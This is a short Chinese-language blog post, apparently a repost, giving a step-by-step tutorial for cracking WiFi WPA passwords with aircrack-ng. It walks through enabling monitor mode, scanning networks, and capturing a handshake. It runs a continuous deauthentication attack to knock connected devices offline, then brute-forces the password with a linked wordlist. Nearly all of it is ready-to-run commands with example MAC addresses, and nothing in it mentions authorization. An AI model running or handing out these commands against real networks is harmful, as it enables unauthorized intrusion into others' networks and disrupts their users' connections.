aircrack-ng wifi密码破解

wifi密码破解


步骤1:查看网卡信息

ifconfig

找到你要用到的网卡

步骤2:启动网卡监听模式

airmon-ng start wlan0
我的是wlp2s0

步骤三:查看网卡变化

wlan0mon
我的是wlp2s0mon

后面多了mon证明成功

步骤四:扫描附近wifi

airodump-ng wlan0mon
我的是airodump-ng wlp2s0mon

记录下bssid ch 和bssid对应的station

步骤五:抓包

要在一个可以写入的文件下下打开终端

airodump-ng -w 包名 -c ch --bssid bssid 使用的网卡名称mon 

例如

airodump-ng -w 403 -c 11 --bssid CE:2F:71:23:CC:74 wlp2s0mon   

为了方便抓包我们攻击这个wifi使连接的设备断开重连从而方便我们抓包(重开一个终端执行攻击而不是结束抓包从而攻击)

sudo aireplay-ng -0 0 -a bssid -c station 使用的网卡的名称mon

例如

sudo aireplay-ng -0 0 -a 76:E5:F9:D8:4A:73 -c AC:92:32:61:DC:65 wlp2s0mon

直到

抓包的终端出现[ WPA handshake: CE:2F:71:23:CC:74

结束攻击结束抓包

步骤六:跑字典

sudo aircrack-ng -w 字典的路径 抓到包的路径

例如

sudo aircrack-ng -w /home/chen/下载/wpa-dictionary-master/other-1.txt /home/chen/下 载/403-01.cap

字典在github上有
https://github.com/conwnet/wpa-dictionary

猜你喜欢

转载自www.cnblogs.com/chenguosong/p/11550433.html
今日推荐